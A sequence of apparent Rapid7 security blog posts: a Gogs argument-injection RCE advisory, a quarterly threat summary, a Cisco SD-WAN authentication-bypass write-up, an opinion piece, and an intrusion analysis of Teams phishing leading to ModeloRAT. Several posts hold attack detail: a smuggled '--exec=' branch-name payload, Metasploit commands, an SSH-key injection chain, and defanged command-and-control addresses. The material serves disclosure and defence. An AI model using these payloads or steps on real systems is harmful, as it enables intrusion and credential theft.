The solution is file-based payload delivery where the exploit commits a script file (e.g. .abcdef) to the repository and uses a short, filesystem-safe branch name: --exec=sh${IFS}.abcdef. An additional complication is that MSYS2's sh (bundled with Git for Windows) mangles shell metacharacters like $, &, and backticks in the payload before PowerShell can process them. To avoid this, the script file invokes cmd.exe //c .abcdef.bat (where //c is the MSYS2 escaping for /c), which natively executes the .bat file containing the PowerShell payload without shell interpretation issues. The Metasploit module implements this cross-platform approach automatically.
Fails - Git interprets --exec=... as an invalid option for checkout
⠀
Step 5 fails and Merge() returns HTTP 500, but the RCE already fired at Step 3. The 500 gets logged but doesn't undo anything.
Because the merge aborts partway through, the repository's git state is left corrupted (stuck in a partial rebase). This means the exploit can only be fired once per repository. In cases where the attacker created the repo themselves, this doesn't matter since the repo is deleted afterward, but when targeting an existing repository, the repo is effectively burned after a single use.
Why the PR becomes mergeable
For the exploit to work, the PR needs to reach "Mergeable" status so the merge button is available. This depends on an interesting race condition in how Gogs validates PRs:
During PR creation, testPatch() calls UpdateLocalCopyBranch(pr.BaseBranch). For a fresh repo with no local copy, it takes the Clone path, which includes --end-of-options. The malicious branch name is treated as data, clone succeeds, testPatch completes normally.
Since testPatch didn't flag a conflict, the status gets promoted to PullRequestStatusMergeable.
The background TestPullRequests goroutine periodically re-checks PRs. On the next call, the local copy does exist, so UpdateLocalCopyBranch takes the Checkout path instead. This one is missing --end-of-options, so the checkout fails.
That error causes TestPullRequests to skip checkAndUpdateStatus(), meaning the PR stays Mergeable forever.
The default exploit path creates a fresh repository, so the first testPatch always hits the Clone path and succeeds. The same applies when targeting an existing repository that has never had a PR created against it. If the target repo has had prior PRs, the local copy already exists, Checkout fails, and the PR cannot be created.
Relationship to prior argument injection fixes
Gogs has addressed argument injection vulnerabilities across multiple prior advisories. This vulnerability is in the same class but affects a different code path (Merge()) that was never patched:
The git-module library (v1.8.7) was hardened with --end-of-options across Clone(), Push(), Fetch(), and 28 other call sites. However, the Merge() function in internal/database/pull.gobypasses all of these protections because it uses raw process.ExecDir (wrapping exec.Command directly) instead of the safe git-module API. The git rebase call was never migrated.
Exploitation
The Metasploit module automates the full exploit chain against both Linux and Windows targets and supports two modes of operation:
own_repo (default): The module creates a temporary repository under the attacker's account, runs the exploit, and deletes the repo on cleanup. This works on any default-configured instance and supports all payload types.
existing_repo: The module targets a repository the attacker already has write and merge access to. This is useful on instances where repo creation is restricted. Only command payloads are supported in this mode (staged payloads would require multiple merge cycles, which is not possible due to the repo corruption described above). Cleanup deletes the malicious branches and closes the PR, but the repository's git state remains corrupted.
Figure 1: Metasploit module obtaining a meterpreter shell session on a Gogs 0.14.2 instance running on Ubuntu.
On Windows, the module uses the file-based delivery method described above to work around NTFS filename restrictions.
⠀
Figure 2: Metasploit module obtaining a Meterpreter session on a Gogs 0.14.2 instance running on Windows 11.
Indicators of compromise (IoCs)
Defenders should watch the Gogs server logs for error entries matching this pattern:
This is logged via c.Error(err, "merge"), which writes the full error (including the malicious branch name) to the server log at ERROR level. Note that a more cleverly written exploit may not be this obvious in log files.
If the attack targeted an existing repository (rather than one the attacker created and deleted), additional artifacts will be present: the malicious branch name (e.g. --exec=...) in the repository's branch listing, a failed pull request in the PR history, and the repository itself will be in a corrupted git state (returning HTTP 500 on certain operations). On Windows, the committed payload files (e.g. .abcdef, .abcdef.bat) will also remain in the git history. Administrators should audit repositories for branch names beginning with --.
The Metasploit module also creates a Gogs API token (named msf_<hex>) during exploitation. Gogs does not expose a token deletion API endpoint, so this token persists after the attack and remains valid until manually revoked via the web UI or database. Defenders should check user token lists at /-/user/settings/applications for unexpected entries.
The payload file used during exploitation is written to the repository's bare git directory on the server filesystem and will persist after the attack.
Remediation
Gogs 0.14.3, released June 7, 2026, fixes this vulnerability. Rapid7 recommends that all Gogs users upgrade immediately. The fix was implemented via pull request #8301, submitted by Rapid7.
For users who cannot upgrade immediately, the following mitigations reduce exposure:
Restricting user registration (DISABLE_REGISTRATION = true in app.ini) to prevent untrusted users from creating accounts. This is the most impactful mitigation since the exploit is self-contained within a single user's repository.
Restricting repository creation (MAX_CREATION_LIMIT = 0 in app.ini) to prevent users from creating their own repos. This can also be set per-user via Max Repo Creation in the admin panel. This blocks the easiest attack path (creating a new repo with rebase enabled), but does not prevent exploitation by users with write access to existing repositories.
Auditing rebase merge settings: While "Rebase before merging" can be disabled per-repo under Settings > Advanced, note that this is not an effective defense against a malicious user who owns or has admin access to a repo, since they can re-enable rebase at will. There is no global or organization-level setting to restrict this. Disabling rebase is only useful for reducing the attack surface on shared repositories where the attacker has write access but not admin privileges.
Rapid7 Customers
Exposure Command, InsightVM, and Nexpose customers can assess exposure to the Authenticated RCE via Argument Injection in Gogs with a vulnerability check available in the May 29 content release.
Disclosure timeline
March 16, 2026: Vulnerability discovered and validated against Gogs 0.14.2 and 0.15.0+dev (commit b53d3162).
March 17, 2026: Reported to Gogs maintainers via GitHub Security Advisory (GHSA-qf6p-p7ww-cwr9).
March 28, 2026: Maintainer acknowledges receipt.
April 21, 2026: Contacted maintainer for a status update (no response).
May 6, 2026: Reminded maintainer of previously planned disclosure date, and offered extension if required (no response).
May 20, 2026: Advised maintainer the blog release date is finalized for May 28, 2026 (no response).
June 1, 2026: Added Rapid7 Customers section to indicate availability of a vulnerability check.
June 8, 2026: Updated contents to reflect that the Gogs maintainer accepted Rapid7's patch and released version 0.14.3 on June 7, 2026, which fixes this vulnerability.
June 9, 2026: Updated to include assigned CVE-2026-52806.
The first quarter of 2026 reinforced that attackers are moving faster, operating with greater coordination, and exploiting weaknesses before most organizations can respond effectively. From escalating geopolitical tensions to increasingly aggressive ransomware operations, the latest quarterly Threat Landscape Report highlights a security environment where reactive defense strategies are becoming unsustainable.
Quarterly Threat Landscape Report findings
Exploits unseat social engineering for top initial access vector (IAV)
One of the biggest takeaways is that vulnerability exploitation surpassed social engineering as the largest initial access vector with 38% of the total. This would be interesting on its own, but when coupled with more than 50% of all exploited vulnerabilities actively being zero-click, network facing vulnerabilities, it indicates that, at least in the short term, attackers are finding AI-enabled vulnerability exploitation easier to accomplish than exploiting human behavior. These types of vulnerabilities require no authentication and no user interaction, giving attackers rapid pathways into exposed systems and edge infrastructure. At the same time, exploitation activity was frequently preceded by large spikes in public discussion across forums, blogs, and social media platforms, demonstrating how quickly threat actors operationalize publicly available information once vulnerabilities gain visibility.
Geopolitics and FBI takedowns in the threat landscape
Geopolitical instability also continued to shape cyber operations throughout the quarter, particularly in the Middle East, where cyber activity was increasingly synchronized with military escalation. Iranian state-aligned groups targeted government infrastructure, financial services, and industrial systems, while Russian and Chinese campaigns focused heavily on intelligence collection, telecommunications infrastructure, and persistent access operations designed to remain undetected over long periods of time. The result is a threat landscape where organizations must prepare not only for immediate disruption, but also for long-term persistence inside enterprise environments.
Meanwhile, law enforcement operations targeting underground criminal infrastructure disrupted several major ransomware and credential marketplaces during Q1, including the seizure of RAMP and LeakBase. These takedowns have created operational pressure for cybercriminal groups, pushing threat actors toward smaller, decentralized communities and increasing internal distrust.
A marked shift towards "pure extortion"
The report also highlights the continued evolution of ransomware operations, particularly the growing shift toward “pure extortion” tactics focused on rapid data theft rather than traditional encryption-based attacks. Threat actors increasingly leveraged zero-click vulnerabilities to gain initial access, exfiltrate sensitive data, and pressure victims without deploying ransomware payloads that create additional operational risk and visibility.
Taken together, the findings from Q1 2026 show that organizations can no longer rely on periodic assessments and reactive workflows alone. Security teams need continuous visibility into their attack surface, better prioritization around exploitable risk, and the ability to move at a pace that matches modern attackers before small exposures become large-scale incidents.
While researching a critical authentication bypass vulnerability, CVE-2026-20127, which was exploited in-the-wild, Rapid7 Labs discovered a new authentication bypass vulnerability affecting Cisco Catalyst SD-WAN Controller (formerly known as vSmart), CVE-2026-20182.
This new authentication bypass vulnerability affects the “vdaemon” service over DTLS (UDP port 12346), which is the same service that was vulnerable to CVE-2026-20127. The new vulnerability is not a patch bypass of CVE-2026-20127. It is a different issue located in a similar part of the “vdaemon” networking stack.
This impact however is the same, a remote unauthenticated attacker can leverage CVE-2026-20182 to become an authenticated peer of the target appliance, and perform privileged operations, such as injecting an attacker controlled public key into the vmanage-admin user account’s authorized SSH keys file. Once this has been performed, a remote unauthenticated attacker can login to the NETCONF service (SSH over TCP port 830) as the vmanage-admin user, and begin to issue arbitrary NETCONF commands.
CVE-2026-20182 has a CVSSv3.1 score of 10.0 (Critical), and a Common Weakness Enumeration (CWE) of CWE-287: Improper Authentication.
Technical analysis
The Cisco Catalyst SD-WAN Controller serves as the central control plane. Unlike Cisco Catalyst SD-WAN Manager, it has no web UI. Its network-reachable attack surface is narrow and depending on the configuration may expose the following ports:
Port
Protocol
Service
22
TCP
SSH (OpenSSH)
830
TCP
NETCONF over SSH
12346
UDP
vdaemon DTLS control plane
⠀
UDP port 12346 is the DTLS-over-UDP control-plane peering port used by vdaemon for inter-controller and controller-to-edge communication. It carries Overlay Management Protocol (OMP) messages including route advertisements, Transport Locations (TLOC) tables, and peer state - the entirety of the SD-WAN overlay routing fabric. Compromising this service means compromising the network.
To understand the vulnerability, we first need to understand how vdaemon authenticates control-plane peers. The protocol is a multi-phase handshake over DTLS:
After a DTLS handshake completes (which accepts any client certificate), the server sends a CHALLENGE containing 256 random bytes and a set of TLVs including Certificate Authority (CA) RSA public key components. The client must respond with a CHALLENGE_ACK, and it is during the processing of this response, in vbond_proc_challenge_ack(), that device-type-specific certificate verification occurs. Or, in the case of a “vHub” device, does not occur.
The 12-byte message header format for the vdaemon protocol is as follows:
Byte Offset
Byte Size
Field
Notes
0
1
msg_type
Low nibble = type, high nibble = version
1
1
device_info
High nibble = device_type, low nibble = flags
2
1
flags
Standard value of 0xA0
3
1
padding
Always 0x00
4 - 7
4
domain_id
Big-endian uint32
8 - 11
4
site_id
Big-endian uint32
⠀
The vdaemon protocol defines the following device types, encoded in the upper nibble of header byte 1, aka device_info:
Value
Device Type
Role
1
vEdge
Data-plane router
2
vHub
Hub router
3
vSmart
Control-plane controller
4
vBond
Orchestrator (trust anchor)
5
vManage
Management plane
6
ZTP
Zero-touch provisioning
⠀
This is the core of the vulnerability. Below is a walk through of the decompiled code from vbond_proc_challenge_ack(), which processes the CHALLENGE_ACK message sent by a connecting peer. After the DTLS handshake, the function extracts the peer's certificate serial number and then enters device-type-specific verification (Note: edited for brevity):
We can see from the above that the function implements device-type-specific verification through a series of conditional blocks:
At [1] above, the function checks whether the connecting peer claims to be a vSmart (type 3) or vManage (type 5). If so, it enters a certificate serial number lookup via is_serial_duplicate(), which searches the local certificate database for a matching serial. At [2], if the serial is found, a duplicate-serial check via vbond_peer_dup_check() rejects the peer if a peer with that serial is already connected - preventing impersonation of existing authorized controllers.
At [3], a second verification block performs full certificate chain verification via vdaemon_dtls_verify_peer_cert(). This block executes only for specific (peer_type, local_type) pairs: vSmart-to-vSmart, vManage-to-vSmart, vManage-to-vManage, vManage-to-vBond, and vSmart-to-vBond. No pair in this block involves device type 2 (vHub). If the verification function returns a non-zero error, v18 is set to 0, and the function jumps to LABEL_179, which rejects the peer.
At [4], vEdge peers (type 1) enter hardware certificate verification via vdaemon_verify_peer_bidcert(). This path validates either a hardware TPM-based certificate (for physical vEdge routers) or a virtual edge certificate, including challenge-response signature verification and board ID validation. Failure sends the function to LABEL_179, which rejects the peer.
At [5], this is the bug, there is no “if” block matching a device type of 2 (vHub); the vHub device type simply has no verification code. The function falls through every conditional without entering any of them.
At [6], the function unconditionally sets “*(_BYTE *)(a2 + 70) = 1”, which is equivalent to ”peer->authenticated = true”, and returns success. The authenticated flag at peer struct offset 70 is the single bit that gates all subsequent message processing.
The following table summarizes the verification applied to each device type:
Device Type
Value
Verification
Result
vEdge
1
HW cert, challenge signature, board ID, OTP
Verified
vHub
2
None
Falls through to “peer->authenticated = 1”
vSmart
3
Cert chain, serial lookup, duplicate check
Verified
vBond
4
N/A (trust anchor - handled elsewhere)
-
vManage
5
Cert chain, serial lookup, duplicate check
Verified
⠀
Therefore, a remote unauthenticated attacker can bypass authentication by connecting to the vSmart DTLS port with any self-signed client certificate and claiming to be a vHub (type 2) in the CHALLENGE_ACK message. No valid credentials, no CA-signed certificate, and no knowledge of the SD-WAN deployment are required.
Looking further at the message dispatcher, we need to confirm that the CHALLENGE_ACK message can actually reach vbond_proc_challenge_ack() without prior authentication. The answer is in the pre-dispatch authentication gate in vbond_proc_msg():
We can see at [1] above, that the condition is a conjunction of negations: the incoming message is rejected only if the peer is NOT authenticated AND the message type is not one of the pre-authentication allowed types (CHALLENGE, CHALLENGE_ACK, NEW_CHALLENGE_ACK, CHALLENGE_ACK_ACK, Data, and TEAR_DOWN).
CHALLENGE_ACK (Message type 9) is explicitly in the allow list, meaning it passes this gate without authentication and reaches the vulnerable vbond_proc_challenge_ack(). This is by design; the authentication handshake must be able to proceed before the peer is authenticated.
Once the vulnerable vbond_proc_challenge_ack() sets “peer->authenticated = true” via the vHub bypass, the attacker must send a Hello message (Message type 5) to transition the peer to the UP state. The Hello handler has its own secondary authentication check:
// Case 5 (Hello) in vbond_proc_msg - line 20362
case 5:
// ...snip...
if ( *(_BYTE *)(v100 + 70) != 1 ) // <--- [2]
{
// "Received an unexpected HELLO from un-authenticated device"
// ... cleanup and reject ...
return 0LL;
}
// Process Hello normally - peer transitions to UP
⠀
At [2] above, the Hello handler verifies ”peer->authenticated == true” before processing. After our exploit sets this flag via the vHub bypass, Hello passes this secondary check and the peer transitions to the UP state, a fully trusted control-plane peer.
Putting all the pieces together: the attack chain is DTLS handshake (any cert) → receive CHALLENGE → send CHALLENGE_ACK with device type 2 (vHub) → authentication flag set unconditionally → send Hello → peer transitions to UP.
After establishing as an authenticated peer, the attacker has access to the full range of control-plane message types. We identified a particularly impactful post-authentication primitive: persistent SSH key injection via MSG_VMANAGE_TO_PEER (Message type 14).
The handler for message type 14 is vbond_proc_vmanage_to_peer(). Examining the decompiled code:
At [1] above, the file is opened in append mode - the attacker's key is added alongside any existing authorized keys, avoiding disruption of legitimate access. At [2], the attacker-controlled key buffer from the message body is written directly via fputs() with no sanitization.
The key injection message body is a fixed 769-byte structure:
The leading “\n” ensures correct appending regardless of whether the existing authorized_keys file ends with a newline. The null byte terminates the string for fputs(), and the remainder is zero-padded to fill the 768-byte buffer.
Any authenticated peer, regardless of device type, can inject SSH keys into the vmanage-admin user's authorized_keys file on vSmart. The vmanage-admin user is a specific internal, high-privileged service account used for automated communication between the management plane (vManage) and the control plane (vSmart/vBond). This converts a transient control-plane peering session into persistent, credential-independent high-privileged access.
Exploitation
In this example we will use the exploit developed by Rapid7 Labs and target a Cisco Catalyst SD-WAN Controller which has an IP address of 192.168.80.11. In our example, both the vdaemon service and the NETCONF service are bound to the same interface. The attacker will have an IP address of 192.168.80.130. In our example, the target Cisco Catalyst SD-WAN Controller appliance is running version 20.12.6.1, which was the latest available version of the 20.12.* branch at the time of writing.
To begin, the attacker loads the module in Metasploit and configures the required options.
Figure 1: Metasploit module options for cisco_sdwan_vhub_auth_bypass
⠀
The module will perform the authentication bypass and then inject an attacker controlled SSH public key into the authorized keys file for the vmanage-admin user. The module will generate a new RSA key-pair prior to exploitation, so that the attacker will inject a public key for which they have the corresponding private key.
The attacker then sets the target and runs the module.
msf6 auxiliary(admin/networking/cisco_sdwan_vhub_auth_bypass) > set RHOSTS 192.168.80.11
msf6 auxiliary(admin/networking/cisco_sdwan_vhub_auth_bypass) > run
⠀
Figure 2: Module output showing the vHub authentication bypass and SSH key injection
⠀
The attacker can now SSH into the NETCONF service over TCP port 830 by running the following command (as instructed by the exploit above).
SSH public key authentication will succeed, and the attacker will have successfully established a connection to the NETCONF service.
Figure 3: Successful SSH connection to the NETCONF service as vmanage-admin
⠀
At this point the attacker can begin to execute arbitrary NETCONF commands, for example the following “get-config” command can be run by the attacker in the NETCONF session.
The output of the get-config command is shown below.
Figure 4: NETCONF get-config output from the compromised controller
Remediation
Cisco has released software updates that address this vulnerability. There are no workarounds that address this vulnerability.
Customers are advised to upgrade to an appropriate fixed software release as indicated in the Fixed Software section of the Cisco Security Advisory. The following tables indicate the appropriate fixed software releases.
For additional details, please see the vendor advisory.
Vendor statement
"Cisco values the role of the security research community in helping maintain a secure ecosystem and we appreciate the collaboration with Rapid7. We have released a software update to remediate the identified vulnerability. We remain committed to transparent communication and to providing our customers with the robust security and resilience they expect."
Rapid7 customers
Exposure Command, InsightVM and Nexpose customers will be able to assess their exposure to CVE-2026-20182 with an authenticated vulnerability check expected to be available in the May 14th, 2026 content release.
Credit
This vulnerability was discovered by Stephen Fewer, Senior Principal Security Researcher, and Jonah Burgess, Senior Security Researcher, both at Rapid7 and is being disclosed in accordance with Rapid7’s vulnerability disclosure policy.
Disclosure timeline
March 9, 2026: Rapid7 makes initial outreach to Cisco who confirms contact the same day. Rapid7 discloses the technical writeup and exploit code to Cisco.
March 11, 2026: Cisco confirms receipt of the technical writeup and exploit code and suggests a disclosure date of May 7, 2026.
March 20, 2026: Cisco confirms the vulnerability findings, and that a CVE will be reserved.
April 21, 2026: Cisco provides reserved CVE identifier and remediation guidance.
April 24, 2026: Cisco provides remediation version numbers, alignment on CWE and CVSS scoring, and requests moving disclosure date to May 14.
May 14, 2026: This disclosure.
Updates
May 15, 2026: Added link to the Metasploit module.
Imagine you build a massive corporate campus with every security control money can buy. Blast resistant doors. Biometric scanners. Guards at every entrance. Maybe something similar to the infamous Death Star. On paper, it looks fantastic. Then, somewhere along the way, somebody decides the maintenance team needs a universal key that opens every door in the building without setting off any alarms.
That certainly makes operations easier, but it also means one mistake, one compromise (like a well placed photon torpedo), or one very bad decision can unravel the whole thing.
That is basically the problem we keep running into in modern enterprise networking.
Why SD-WAN controllers create concentrated risk
This week, Rapid7 researchers Stephen Fewer and Jonah Burgess disclosed CVE-2026-20182, a maximum severity (CVSS 10.0) vulnerability in the Cisco Catalyst SD-WAN Controller. The technical details matter, and quite a bit, at that, but the bigger lesson here is even more important. This bug is a reminder that we keep designing infrastructure for efficiency first and then acting surprised when attackers go after the one component that controls everything.
To put it simply, the flaw behaves like a master key. An attacker can present themselves to the controller as a trusted network router and, if the system accepts that claim without properly validating it, they can obtain the highest level of administrative access. That is the cybersecurity version of a Jedi mind trick. The controller is effectively told to trust something it has no business trusting, as if an attacker waves a hand and says, “these are not the droids you are looking for”. And with CVE-2026-20182, the controller just nods and lets them pass.
And that becomes extremely important when you look at how these environments are built.
A decade ago, managing a global enterprise network meant touching thousands of individual routers across branch locations. It was slow, error-prone, and frankly a little miserable for the people responsible for keeping it all running. So the industry did what the industry usually does. We centralized control. We pulled the decision-making out of all those edge devices and moved it into a central controller.
From an operations standpoint, that was a huge win. I will gladly give credit where it is due. SD-WAN solved real problems.
It also created a very attractive target.
Why central management platforms are attractive targets
Once you move the brains of the operation into a single place, that place becomes the thing an attacker wants most. Compromising one branch router is useful. Compromising the controller that manages the entire estate is a very different conversation. Now you are talking about the ability to reroute traffic, intercept communications, push malicious configuration, or simply break connectivity across the whole organization.
That is the real paradox here. The same architecture that gives defenders scale and simplicity can also give attackers a single point of catastrophic leverage.
A few years ago, finding and exploiting a quiet authentication bypass in a core networking appliance was mostly the work of highly capable nation-state teams. That is not the world we live in anymore, especially as AI makes exploitation faster to analyze, adapt, and operationalize. The reality of it is that offensive tradecraft does not stay exclusive for very long. It gets copied, adapted, automated, and eventually handed down to groups with very different goals.
For nation-state operators, a bug like this (as seen with the actively exploited CVE-2026-20127) is ideal for pre positioning. They are usually not looking for a smash and grab. They want persistence. They want access that blends in. They want to sit in the right place long enough to observe, influence, and pivot when the time is right. An SD-WAN controller is a great place to do that, because it lives in the middle of trust relationships most organizations rarely question.
For ransomware groups, the value proposition is even more obvious. If you can compromise central infrastructure, you do not have to fight for access to one system at a time. You are standing on the control plane of the enterprise, facing a dramatically lower barrier to initial access and large-scale disruption.
Now, to be fair, not every bug turns into internet wide exploitation overnight and not every vulnerability becomes a one click offensive toolkit. We should avoid sensationalizing that part. But we should also be honest about where the pressure is today. Attackers have become very good at turning central infrastructure weaknesses into high impact operations.
What defenders should do now
First, bugs like this are going to happen again. As long as we keep building extremely complex systems to manage global infrastructure, there will be flaws. That is not cynicism. That is just reality.
Second, organizations need to stop assuming that trusted administrative systems are inherently safe just because they sit in the middle of the network and have important sounding names. If your controller is compromised, what happens next? What can it reach? What can it change? How much of the enterprise can it influence without another human ever noticing?
That blast radius question is the one that matters.
Defending against this kind of problem requires more than patching, even though patching absolutely needs to happen. It means building environments that can survive the compromise of a critical management system. Network segmentation matters. Monitoring administrative traffic matters, whether that is handled internally or through an MDR provider that can help catch suspicious behavior before it turns into a much larger problem. Tight control over outbound communications from infrastructure devices matters. So does limiting which systems are allowed to talk to the controller in the first place.
In other words, we need to design with the assumption that even high trust infrastructure can fail in ugly ways.
The immediate guidance for defenders is straightforward: apply the vendor supplied patches for Cisco Catalyst SD-WAN Controllers as quickly as possible. That is the first move, not the last one.
The longer term lesson for leadership is bigger than this one vulnerability. Efficiency is great right up until it creates unquestioned authority in a single device or platform. When that happens, you have not removed complexity. You have concentrated risk.
And attackers have noticed.
Register for Rapid7’s upcoming webinar on CVE-2026-20182 here.
Attackers do not need to break into the front door when they can convince employees to open it for them through the tools they already trust.
In April 2026, Rapid7 investigated an enterprise intrusion that began with a Microsoft Teams message from a fake “IT Support” account and quickly escalated into a full compromise chain involving malware deployment, privilege escalation, credential theft, lateral movement, and exfiltration. The incident illustrates a critical risk for modern enterprises: Collaboration platforms have become part of the attack surface, and when combined with identity abuse and Living-off-the-Land techniques, they can provide attackers with a low-friction path into the environment.
Therefore, this attack was particularly concerning due to the way the intrusion shifted from endpoint compromise to broader identity-driven risk. And while it was not surprising that the attacker used a novel technique, what was concerning was how the attacker was able to chain together familiar enterprise weaknesses into a fast-moving and operationally effective intrusion.
By abusing Teams external access, the threat actor delivered a Dropbox-hosted Python payload that established command-and-control, deployed multiple backdoors, and began mapping the internal environment. The attacker then escalated privileges to SYSTEM using CVE-2023-36036 before deploying a fake Windows lock screen designed to harvest the user’s domain password.
Once valid credentials were obtained, the intrusion shifted from endpoint compromise to broader identity-driven risk. The attacker moved laterally to a second host, used legitimate tooling such as DumpIt to collect system memory, which was likely exfiltrated via an anonymous file-sharing service. This progression underscores a key reality for defenders: Once collaboration, identity, and endpoint controls are bypassed or weakened, attackers can rapidly convert initial access into meaningful enterprise exposure.
Rapid7’s technical analysis linked the Python malware to ModeloRAT, a framework previously documented by multiple security vendors in browser extension campaigns and associated with the KongTuke group. More broadly, this intrusion demonstrates how trusted communication channels, Living-off-the-Land techniques, and credential-focused tradecraft continue to challenge traditional security controls. The takeaways here are clear:
For CISOs: Collaboration tools are part of your attack surface. Attackers used Teams to reach users directly. Security, identity protection, endpoint visibility, and rapid detection engineering must be treated as connected parts of the same defense strategy, not separate control domains.
For defenders: Old vulnerabilities and trusted tools still work. The attack combined a patched vulnerability (CVE-2023-36036) with widely trusted tools like Python, PowerShell, and Dropbox. None of these are unusual in enterprise environments, which is precisely what allowed the attacker to blend in while moving quickly. It’s an obvious restatement, but external access should always be controlled and monitored.
The challenge isn’t identifying one suspicious event; it’s recognizing when normal activity starts to form a pattern, and acting before that pattern turns into widespread exposure.
Rapid7 coverage
Rapid7 has coverage for this campaign across both intelligence and detection workflows. The campaign is available in Rapid7’s Intelligence Hub, providing customers with curated context, indicators, and threat actor tradecraft to support awareness, investigation, and prioritization. Relevant detections are also available in InsightIDR, helping security teams identify activity associated with this intrusion pattern across their environments.
Figure 1: Attack chain from Teams phishing to payload delivery, ModeloRAT execution, privilege escalation, and lateral movement with exfiltration.
A door that was never closed
The intrusion started with abuse of Microsoft Teams external access. This feature, enabled by default in some environments, allows users in one tenant to initiate direct chats with users in another. In our incident, the attacker used a newly created tenant UCICasociacion.onmicrosoft[.]com to impersonate “IT Support” and messaged a targeted employee.
This approach mirrors tradecraft seen in Octo Tempest-style campaigns. Octo Tempest (alias Scattered Spider, UNC3944, 0ktapus) is a financially motivated cybercriminal group active since 2022, known for aggressive social engineering tactics including helpdesk impersonation, SIM swapping, and MFA manipulation.
Shortly after the interaction, a hidden PowerShell command executed on the victim’s machine, staging the initial payload.
Stager: Bring your own Python
Within minutes of the Teams interaction, a PowerShell stager executed on the endpoint and reached out to Dropbox to retrieve a ZIP archive (Winp.zip) into the user’s AppData directory.
The archive was immediately extracted and deleted, likely to reduce on-disk artifacts and avoid potentially raising suspicion.
The payload contained a portable WinPython environment, which the attacker used to launch the next stage:
collector.py (reconnaissance)
Pmanager.py (primary C2 agent, Modelo RAT)
Execution was handled via pythonw.exe, which allowed the script to run in the background without showing the terminal window.
Figure 2: PowerShell stager retrieving and executing portable Python payload.
Reconnaissance: Environment discovery via native tools
The first Python module executed by the attacker was collector.py, a post-exploitation information gatherer designed to silently profile the host and save the results to %TEMP%\configA.json. Additionally, before any of the recon the collector.py computes a host fingerprint. This 8-character fingerprint is what the operator's C2 server uses to identify this victim.
Securityhealthhost.exe, which is commonly used to verify if anti-virus solutions are running on the system
Table 1: Host Reconnaissance and Environment Enumeration.
All of these commands were executed through hidden PowerShell sessions using the CREATE_NO_WINDOW flag, allowing the script to run in the background without spawning visible console windows.
Part of reconnaissance was also a collection of installed hotfixes and system version data. The attacker was able to assess whether the host was vulnerable to a version-specific local privilege escalation exploit later used in the intrusion.
Additionally, collector.py and all other python modules dropped by malware were obfuscated. However, it was not difficult to recover code structure close to the original.
Figure 3: Obfuscated collector.py
Stage 2: Ties to ModeloRAT
Shortly after reconnaissance is completed, the attack shifts into its second stage as with the execution of Pmanager.py.
pythonw.exe ...\python\Pmanager.py start
Figure 4: Execution of Pmanager.py initiating second-stage C2 activity.
As soon as it is started, the script creates a long-running HTTP beacon over port 80 that rotates across 5 hardcoded C2 servers: 46.225.231[.]170, 144.172.99[.]68, 64.94.85[.]158, 140.82.6[.]45, and 45.76.241[.]51.
The script can load DLLs via rundll32.exe, launch additional Python scripts, run PowerShell commands, or install .msi packages. It also handles persistence and can update or remove itself. The reconnaissance output saved in configA.json is sent back to the C2, giving the operator a full picture of the host before issuing further tasks.
This behavior closely matches the ModeloRAT framework documented by Huntress (KongTuke / CrashFix campaigns). Its communication format, persistence mechanisms, and delivery model all match what has been previously observed, with no significant deviations.
The key difference is in initial access: Where earlier campaigns relied on malicious browser extensions, this intrusion used Microsoft Teams social engineering to achieve execution.
The on-demand shells and the WebDAV
Pmanager quickly deployed its first additional module USOShared1297.py onto the infected host. This module is a TCP reverse shell that opens 2 outbound sockets to one of 3 hardcoded C2 IPs (144.172.88[.]18, 64.190.113[.]187, 45.59.122[.]231. The port 50508 is reserved for the interactive shell that the attacker can use and port 60503 is for file transfer. The shell itself is a cmd.exe spawned using CreatePipe and CreateProcessA with the CREATE_NO_WINDOW and STARTF_USESTDHANDLES flags.
This access was then used to test credential reuse across the environment through repeated WebDAV authentication attempts against internal systems.
Figure 5: WebDAV authentication spray using davclnt.dll (DavSetCookie)
The DavSetCookie API forces Windows to initiate a WebDAV authentication attempt using the current user’s credentials. In effect, it allows the attacker to validate where those credentials are accepted without deploying additional tools. Within minutes, successful logon events started to appear across more than 100 internal systems.
The HTTP shell – internal.py
Not long after, the attacker added a second way into the system by deploying back-to-back Microsoft5237.py dropped to %TEMP% and internal.py dropped to WPy64-31401\python. Later analysis showed they were actually the same file, just renamed (both had the same SHA-256 hash: 930263c0843744e269b615fb2ec79f83d7bd8b2cbf75e31fd5ea6c1aaa4e48fd). The attacker was reusing the same backdoor under different names.
Each script launched a hidden PowerShell session. First it checked whether the system was domain-joined, and then set up a persistent remote shell.
Figure 6: The -NoExit flag keeps PowerShell running in the background, while the trailing “-” allows it to accept commands remotely.
From there, internal.py turned that session into a full HTTP-based control channel. It registered with the C2 /handshake, continuously polled for instructions via /command/<id>, executed them inside the PowerShell session, and returned output via /output/<id>. The same channel handles file upload, download, and also screenshot capture. All of this communication ran over port 80 to 87.120.186[.]229 and 149.248.78[.]202, blending in with normal web traffic.
Stage 3: Privilege escalation via CVE-2023-36036
After gaining remote access, the attacker executed ssss.dll to escalate privileges.
rundll32.exe ssss.dll startproc Mw2[REDACTED]
Figure 7: Execution of ssss.dll via rundll32.
The argument that was passed to startproc is a decryption key. The startproc function uses Mw2[REDACTED] to decrypt the payload.
The ssss.dll (SHA-256: b00c1cbcfb98d2618a5c2ccb311da94f3c57709a397be6c8de29839f4e943976) is a reflective loader. The loader is using that key to decrypt an embedded payload in memory and execute it. The decrypted payload is testdllLPE.dll (SHA-256: d84245f3a374dd5eff8ecfdfad39077d76331fde799e5306430d0fc788db7f1d), a custom privilege escalation exploit targeting CVE-2023-36036. This vulnerability is a heap-based buffer overflow in cldflt.sys, the Windows Cloud Files Mini Filter Driver.
Within seconds, the helper thread launched internal.py under a SYSTEM token, confirming that the exploit successfully modified the process privileges.
What is CVE-2023-36036?
The Cloud Files driver is what makes OneDrive's "Files On-Demand" work, allowing placeholder files to appear locally while being backed by cloud storage. Sync providers (OneDrive, Dropbox, Box) register themselves with the driver using the Cloud Files API, and the driver brokers I/O between the filesystem and the provider.
CVE-2023-36036 is a heap buffer overflow in how cldflt.sys processes messages from these providers. By sending crafted data through the driver’s communication interface, an attacker can overflow an internal buffer and corrupt adjacent memory. With controlled heap layout, this corruption becomes a kernel write primitive.
Reused technique, adapted exploit
While analyzing the CVE-2023-36036 exploit, it became clear that the threat actor did not build their methodology from scratch. STAR Labs documented a similar chain in their analysis of CVE-2021-31969 also in cldflt.sys. Their work outlined the core steps: Register a fake sync provider, shape the kernel heap, trigger the overflow, and overwrite a token.
The exploit we analyzed follows the same general playbook, but adapts it for the CVE-2023-36036 vulnerability.
The threat actor reused three core steps from the STAR Labs research to stabilize their exploit:
